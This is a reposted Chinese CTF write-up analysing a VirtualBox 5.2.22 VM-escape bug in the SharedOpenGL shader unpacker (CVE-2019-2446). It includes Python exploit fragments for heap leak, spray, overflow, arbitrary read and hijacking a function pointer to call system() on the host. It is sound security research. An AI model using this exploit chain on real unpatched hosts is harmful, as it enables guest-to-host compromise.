利用Chromium漏洞夺取CTF胜利:VitualBox虚拟机逃逸漏洞分析(CVE-2019-2446)

栏目: 服务器 · 发布时间: 5年前

内容简介:一、前言早在2018年10月,我就留意到Niklas Baumstark发表了一篇关于VirtualBox的Chromium组件的文章,随后我就开始对它进行研究。在两周的时间中,我发现并报告了十几个可以轻松实现利用的虚拟机逃逸漏洞。但遗憾的是,其中的大多数都是重复的。在2018年12月底,3C35 CTF期间,我留意到Niklas发表的一条推文,他宣布VirtualBox的Chromium挑战还没有被任何人解决。这样一来,我就希望专注于这一方面的研究,因为我想成为第一个夺取旗帜的人。

一、前言

早在2018年10月,我就留意到Niklas Baumstark发表了一篇关于VirtualBox的Chromium组件的文章,随后我就开始对它进行研究。在两周的时间中,我发现并报告了十几个可以轻松实现利用的虚拟机逃逸漏洞。但遗憾的是,其中的大多数都是重复的。

在2018年12月底,3C35 CTF期间,我留意到Niklas发表的一条推文,他宣布VirtualBox的Chromium挑战还没有被任何人解决。这样一来,我就希望专注于这一方面的研究,因为我想成为第一个夺取旗帜的人。

二、挑战内容

我们所面临的挑战,是在64位Xubuntu上尝试针对VirtualBox v5.2.22实现虚拟机逃逸。在挑战的题目中,给出了一个提示,仅仅是API glShaderSource()文档的照片。首先,我认为,我们已经将一个漏洞人为地注入到该函数中,从而应对挑战。然而,在查看了它在Chrome中的实现之后,我意识到我正在面对的是一个真实世界中的漏洞。

三、漏洞分析

下面是src/VBox/HostServices/SharedOpenGL/unpacker/unpack_shaders.c代码中的一部分:

void crUnpackExtendShaderSource(void)
{
    GLint *length = NULL;
    GLuint shader = READ_DATA(8, GLuint);
    GLsizei count = READ_DATA(12, GLsizei);
    GLint hasNonLocalLen = READ_DATA(16, GLsizei);
    GLint *pLocalLength = DATA_POINTER(20, GLint);
    char **ppStrings = NULL;
    GLsizei i, j, jUpTo;
    int pos, pos_check;
 
    if (count >= UINT32_MAX / sizeof(char *) / 4)
    {
        crError("crUnpackExtendShaderSource: count %u is out of range", count);
        return;
    }
 
    pos = 20 + count * sizeof(*pLocalLength);
 
    if (hasNonLocalLen > 0)
    {
        length = DATA_POINTER(pos, GLint);
        pos += count * sizeof(*length);
    }
 
    pos_check = pos;
 
    if (!DATA_POINTER_CHECK(pos_check))
    {
        crError("crUnpackExtendShaderSource: pos %d is out of range", pos_check);
        return;
    }
 
    for (i = 0; i < count; ++i)
    {
        if (pLocalLength[i] <= 0 || pos_check >= INT32_MAX - pLocalLength[i] || !DATA_POINTER_CHECK(pos_check))
        {
            crError("crUnpackExtendShaderSource: pos %d is out of range", pos_check);
            return;
        }
 
        pos_check += pLocalLength[i];
    }
 
    ppStrings = crAlloc(count * sizeof(char*));
    if (!ppStrings) return;
 
    for (i = 0; i < count; ++i)
    {
        ppStrings[i] = DATA_POINTER(pos, char);
        pos += pLocalLength[i];
        if (!length)
        {
            pLocalLength[i] -= 1;
        }
 
        Assert(pLocalLength[i] > 0);
        jUpTo = i == count -1 ? pLocalLength[i] - 1 : pLocalLength[i];
        for (j = 0; j < jUpTo; ++j)
        {
            char *pString = ppStrings[i];
 
            if (pString[j] == '\0')
            {
                Assert(j == jUpTo - 1);
                pString[j] = '\n';
            }
        }
    }
 
//    cr_unpackDispatch.ShaderSource(shader, count, ppStrings, length ? length : pLocalLength);
    cr_unpackDispatch.ShaderSource(shader, 1, (const char**)ppStrings, 0);
 
    crFree(ppStrings);
}

该方法使用宏READ_DATA获取用户数据。实际上,它只是从Guest虚拟机使用HGCM接口发送的消息中读取,该消息存储在堆中。然后,它调整输入,并将其传递给cr_unpackDispatch.ShaderSource()。

在这里,第一个明显的攻击点是crAlloc(count * sizeof(char*))。我们查看count变量是否在某个(正值)范围内。但是,由于它是有符号证书,因此还应该检查是否存在负值的可能。如果我们选择足够大的技术,例如0x80000000,那么由于整数溢出,与sizeof(char*)==8的乘法操作将会得到0,因为这里的所有变量都是32位。理想情况下,这可能导致堆溢出,因为分配的缓冲区太小,而计数过大。然而,这部分代码则不容易受到此类攻击,因为如果count为负值,则根本不会进入到循环中(变量i是有符号的,因此二者之间的比较也是有符号的比较)。

实际的漏洞并不明显。在第一个循环中,pos_check由长度数组递增。在每次循环中,都会验证位置,以确保总长度仍然在边界之内。这段代码的问题在于,pos_check仅在下一次循环中检查是否在边界范围内。这就意味着,数组的最后一个元素从未经过任何检查,并且可以为任意大小。

这一点验证不充分会产生什么样的影响呢?本质上,在嵌套循环中,j表示pStrings的索引,并且其范围是从0到pLocalLength[i]。该循环将每个\0字节转换为\n字节。借助任意长度的问题,我们可以使循环超出范围,并且由于pString指向堆HGCM消息中的数据,所以这一问题实际上可以导致堆溢出。

四、漏洞利用

即使我们不能溢出可以控制的内容,但如果我们对其进行合理的利用,我们仍然可以获得任意代码执行。

为了实现漏洞利用,我们将使用3dpwn,这是一个专门用于攻击3D加速(3D Acceleration)的库。我们将大量使用CRVBOXSVCBUFFER_t对象,这些对象也是我们之前研究的目标。它包含一个唯一ID、一个可控制的大小、一个指向Guest虚拟机可以写入的实际数据的指针,以及一个双向链表的下一个/上一个指针:

typedef struct _CRVBOXSVCBUFFER_t {
    uint32_t uiId;
    uint32_t uiSize;
    void*    pData;
    _CRVBOXSVCBUFFER_t *pNext, *pPrev;
} CRVBOXSVCBUFFER_t;

此外,我们还将使用CRConnection对象,该对象包含各种函数指针,以及指向Guest虚拟机可以读取的缓冲区指针。

如果我们破坏了前一个对象,我们可以获得一个任意的写原语。如果我们破坏了后一个对象,那么我们就可以获得一个任意的读原语和任意代码执行。

4.1 策略

1. 泄漏CRConnection对象的指针。

2. 使用大量CRVBOXSVCBUFFER_t对象喷射(Spray)堆,并保存其ID。

3. 找到一个洞,并执行glShaderSource(),以将我们的恶意信息写入洞中。然后,易受攻击的代码会使其溢出到相邻的对象中,在理想情况下,会进入CRVBOXSVCBUFFER_t。我们试图破坏其ID和大小,以触发第二个堆溢出,我们可以通过它进行控制。

4. 查找ID列表,查看其中一个是否消失。如果有消失的ID,则证明它应该是使用换行符损坏的ID。

5. 用此ID中的换行符,替换所有零字节,以获取损坏的ID。

6. 这一损坏的对象,现在将具有比原始更大的长度。我们使用该对象,溢出到第二个CRVBOXSVCBUFFER_t,并使其指向CRConnection对象。

7. 最后,我们可以控制CRConnection对象的内容。如前所述,我们可以破坏它,以启用任意读取原语和任意代码执行。

8. 找到system()的地址,并使用它覆盖函数指针Free()。

9. 在主机上运行任意命令。

4.2 堆信息泄漏

由于我们的目标是VirtualBox v5.2.22,因此该版本并不存在影响v5.2.20之前版本的CVE-2018-3055漏洞。正如我们在 这里 所看到的,该漏洞被利用来泄漏CRConnection的地址。所以,为了应对这一挑战,我们是否应该寻找新的信息泄漏漏洞,或者重新设计漏洞利用策略?

令人惊讶的是,即使在v5.2.22版本中,上面的代码仍然能够泄漏我们想要的对象。这怎么可能,难道是没有正确修复吗?经过仔细分析后,我们发现,分配的对象的大小为0x290字节,而连接的偏移量为OFFSET_CONN_CLIENT,也就是0x248。在这里,并没有超出界限。

msg = make_oob_read(OFFSET_CONN_CLIENT)
leak = crmsg(client, msg, 0x290)[16:24]

值得关注的是,这一问题的原因在于未初始化的内存漏洞。也就是说,svcGetBuffer()方法正在请求堆内存来存储来自Guest的消息。但是,它却没有清除缓冲区。因此,任何返回消息缓冲区数据的API都可能被滥用,从而能将有价值的堆信息泄漏给Guest。我推测,Niklas知道这一漏洞,因此我决定使用这一漏洞来完成这一挑战。实际上,在比赛结束后的几周,发布了关于这一漏洞的补丁,并为其分配了 CVE-2019-2446 的编号。

4.3 堆喷射

我们可以使用alloc_buf()借助CRVBOXSVCBUFFER_t实现堆喷射,如下所示:

bufs = []
for i in range(spray_num):
bufs.append(alloc_buf(self.client, spray_len))

根据经验,我发现可以选择spray_len = 0x30和spray_num = 0x2000,因为它们的缓冲区最终将是连续的,并且pData指向的缓冲区与其他CRVBOXSVCBUFFER_t相邻。

接下来,我们想在分配中创造一个洞,这样我们就可以用恶意的信息占据它。

具体而言,这是通过向主机发送命令SHCRGL_GUEST_FN_WRITE_READ_BUFFERED来实现的,其中hole_pos = spray_num – 0x10:

hgcm_call(self.client, SHCRGL_GUEST_FN_WRITE_READ_BUFFERED, [bufs[hole_pos], "A" * 0x1000, 1337])

我们可以参考src/VBox/HostServices/SharedOpenGL/crserver/crservice.cpp中此命令的实现。

4.4 第一次溢出

现在,我们已经仔细设置了堆,接下来准备分配消息缓冲区并触发溢出,如下所示:

msg = (pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1)
        + '\0\0\0' + chr(CR_EXTEND_OPCODE)
        + 'aaaa'
        + pack("<I", CR_SHADERSOURCE_EXTEND_OPCODE)
        + pack("<I", 0)    # shader
        + pack("<I", 1)    # count
        + pack("<I", 0)    # hasNonLocalLen
        + pack("<I", 0x22) # pLocalLength[0]
        )
crmsg(self.client, msg, spray_len)

需要注意的是,我们发送的消息与刚刚释放的消息大小完全相同。由于glibc堆的工作原理,新的消息非常有可能占据与释放消息完全相同的位置。此外,需要注意count = 1,并且只有最后一个长度可以是任意大小。由于只有一个元素,所以显然,第一个元素也正是最后一个元素。

最后,我们使pLocalLength[0] = 0x22。这个值足以破坏ID和大小字段,我们并不想破坏pData。

那么,具体是如何来计算的?

1. 消息的长度为0x30字节

2. pString的偏移量是0x28

3. glibc块的头部(64位)宽0x10字节

4. uild和uiSize都是32位无符号整数

5. 在crUnpackExtendShaderSource()中将pLocalLength[0]减去2

因此,我们需要0x30-0x28 = 8个字节,才能到达消息的末尾,0x10个字节要经过块的头部,还需要8个字节来覆盖uiId和uiSize。为了补偿减法运算,我们还必须再增加2个字节。总体来说,这就相当于0x22字节。

4.5 找到损坏位置

回想一下,size字段是一个32位无符号整数,我们选择的大小是0x30字节。因此,该字段在损坏后将保持为值0x0a0a0a30(其中的3个零字节已经被字节0x0a替换)。

要查找损坏的ID,这一过程稍微复杂一些,需要我们遍历ID列表,以找出它们之中的哪一个消失了。我们通过向每个ID发送SHCRGL_GUEST_FN_WRITE_BUFFER消息来执行此操作,如下所示:

print("[*] Finding corrupted buffer...")
 
found = -1
 
for i in range(spray_num):
    if i != hole_pos:
        try:
            hgcm_call(self.client, SHCRGL_GUEST_FN_WRITE_BUFFER, [bufs[i], spray_len, 0, ""])
        except IOError:
            print("[+] Found corrupted id: 0x%x" % bufs[i])
            found = bufs[i]
            break
 
if found < 0:
    exit("[-] Error could not find corrupted buffer.")

最后,我们用\n字节手动替换每个\0,以匹配损坏的缓冲区的ID:

id_str = "%08x" % found
new_id = int(id_str.replace("00", "0a"), 16)
print("[+] New id: 0x%x" % new_id)

现在,我们就拥有了进行第二次溢出所需要的一切,我们可以最终控制其内容。我们的最终目标是,覆盖pData字段,并使其指向我们之前泄漏的CRConnection对象。

4.6 第二次溢出

使用new_id和大小0x0a0a0a30,我们现在可以破坏第二个CRVBOXSVCBUFFER_t。与之前的溢出类似,这是有效的,因为这些缓冲区彼此相邻。但是,这次我们使用ID为0x13371337、大小为0x290且指向self.pConn的伪对象来覆盖它。

try:
    fake = pack("<IIQQQ", 0x13371337, 0x290, self.pConn, 0, 0)
    hgcm_call(self.client, SHCRGL_GUEST_FN_WRITE_BUFFER, [new_id, 0x0a0a0a30, spray_len + 0x10, fake])
    print("[+] Exploit successful.")
except IOError:
    exit("[-] Exploit failed.")

需要注意的是,spray_len + 0x10表示偏移量,我们再次跳过块头部的0x10字节。在执行此操作后,我们可以修改CRConnection对象的内容。如前所述,这最终使我们能够使用任意读取原语,并允许我们通过替换Free()函数指针来调用任何我们想要的内容。

4.7 任意读取原语

发出SHCRGL_GUEST_FN_READ命令时,pHostBuffer中的数据将被发送回Guest。使用我们的自定义0x13371337 ID,我们可以使用自定义的指针覆盖此指针及其相应的大小。然后,我们使用self.client2客户端发送SHCRGL_GUEST_FN_READ消息来触发我们的任意读取(这是泄漏的CRConnection的客户端ID):

hgcm_call(self.client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0x13371337, 0x290, OFFSET_CONN_HOSTBUF,   pack("<Q", where)])
hgcm_call(self.client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0x13371337, 0x290, OFFSET_CONN_HOSTBUFSZ, pack("<I", n)])
res, sz = hgcm_call(self.client2, SHCRGL_GUEST_FN_READ, ["A"*0x1000, 0x1000])

4.8 任意代码执行

在每个CRConnection对象中,都存在函数指针Alloc()、Free()等,负责存储Guest虚拟机的消息缓冲区。此外,它们将CRConnection对象自身作为第一个参数。对我们来说,这是非常完美的,因为它可以用来启动ROP链,或者简单地用任意命令调用system()。

为此,我们需要在偏移量OFFSET_CONN_FREE的位置覆盖指针,并在偏移量0处覆盖我们所需参数的内容,如下所示:

hgcm_call(self.client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0x13371337, 0x290, OFFSET_CONN_FREE, pack("<Q", at)])
hgcm_call(self.client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0x13371337, 0x290, 0, cmd])

触发Free()非常简单,只需要我们使用self.client2向主机发送任何有效消息即可。

4.9 寻找system()

我们已经知道一个地址,即crVBoxHGCMFree()。它是存储在Free()字段中的函数指针。这一子例程位于模块VBoxOGLhostcrutil中,该模块还包含libc的其他存根(Stub)。因此,我们可以很容易地计算出system()的地址。

self.crVBoxHGCMFree = self.read64(self.pConn + OFFSET_CONN_FREE)
print("[+] crVBoxHGCMFree: 0x%x" % self.crVBoxHGCMFree)
 
self.VBoxOGLhostcrutil = self.crVBoxHGCMFree - 0x20650
print("[+] VBoxOGLhostcrutil: 0x%x" % self.VBoxOGLhostcrutil)
 
self.memset = self.read64(self.VBoxOGLhostcrutil + 0x22e070)
print("[+] memset: 0x%x" % self.memset)
 
self.libc = self.memset - 0x18ef50
print("[+] libc: 0x%x" % self.libc)
 
self.system = self.libc + 0x4f440
print("[+] system: 0x%x" % self.system)

4.10 夺取旗帜

现在,我们离夺取旗帜只有一步之遥。该Flag存储在位于~/Desktop/flag.txt的文本文件中。我们可以通过任何文本编辑器或终端打开文件,以查看其内容。在挑战的过程中,我们可以直接“看到”旗帜,因为在提交代码后,一段简短的视频将会传回给我们。Xubuntu没有预装geedit,但在Google上迅速搜索后,我们找到了文本编辑器Mousepad。

在第一次提交期间,还发生了一个小问题,就是系统发生了崩溃。我很快就意识到,我们不能使用超过16个字节的字符串,因为一些指针位于这一偏移处,如果使用无效内容覆盖它,将会导致段错误(Segmentation Fault)。

为此,我使用了一些技巧,并将文件路径缩短了两次,这样就可以用较少的字符实现打开操作:

p.rip(p.system, "mv Desktop a\0")
p.rip(p.system, "mv a/flag.txt b\0")
p.rip(p.system, "mousepad b\0")

利用Chromium漏洞夺取CTF胜利:VitualBox虚拟机逃逸漏洞分析(CVE-2019-2446)

不错,在进行了4-5小时的研究之后,我终于夺取了旗帜,并很高兴能成为第一个解决这一挑战的人。几个小时后,Tea Delivers团队也成功利用了这个很酷的漏洞,恭喜他们。

五、总结

如果我们之前一直在使用这一虚拟机,那么这个挑战并不是很难解决。据我所知,通过建立一个更好的Heap Constellation,我们可以直接溢出到CRConnection对象,并修改cbHostBuffer字段,最终启用越界读取原语,从而在不利用任何漏洞的情况下解决这一挑战。然而,在压力和兴奋的双重作用下,我选择了额外的漏洞来解决这一问题。尽管如此,这一过程还是非常有趣。尽管Chromium中存在许多信息泄漏漏洞,几乎每个Opcode都可能会泄漏栈或堆信息,但内存损坏漏洞还是比较稀缺的,因此我非常开心能发现这一问题。

最后一点,也是比较重要的一点,我在掌握代码中存在漏洞的情况之后,就很容易识别问题。实际上,尽管我一直在进行研究,但我最开始却认为它是无法被利用的。因此,我们要以乐观积极的心态来看待代码,如果我们相信任何代码中可能存在问题,就要坚信最终一定能够发现它们。不要气馁,也不要抱有“如果有漏洞,那么其他人肯定早就发现了”这样的心态。

感谢大家的阅读!

六、致谢

感谢Niklasb针对此问题的先前研究,以及设置的挑战题目。


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

jQuery实战

jQuery实战

Bear Bibeault、Yehuda Katz / 陈宁 / 人民邮电出版社 / 2009.1 / 49.00元

《jQuery实战》全面介绍jQuery知识,展示如何遍历HTML文档、处理事件、执行动画以及给网页添加Ajax。书中紧紧地围绕“用实际的示例来解释每一个新概念”这一宗旨,生动描述了jQuery如何与其他工具和框架交互以及如何生成jQuery插件。jQuery 是目前最受欢迎的JavaScript/Ajax库之一,能用最少的代码实现最多的功能。 点击链接进入新版: jQuery......一起来看看 《jQuery实战》 这本书的介绍吧!

URL 编码/解码
URL 编码/解码

URL 编码/解码

XML、JSON 在线转换
XML、JSON 在线转换

在线XML、JSON转换工具

HEX CMYK 转换工具
HEX CMYK 转换工具

HEX CMYK 互转工具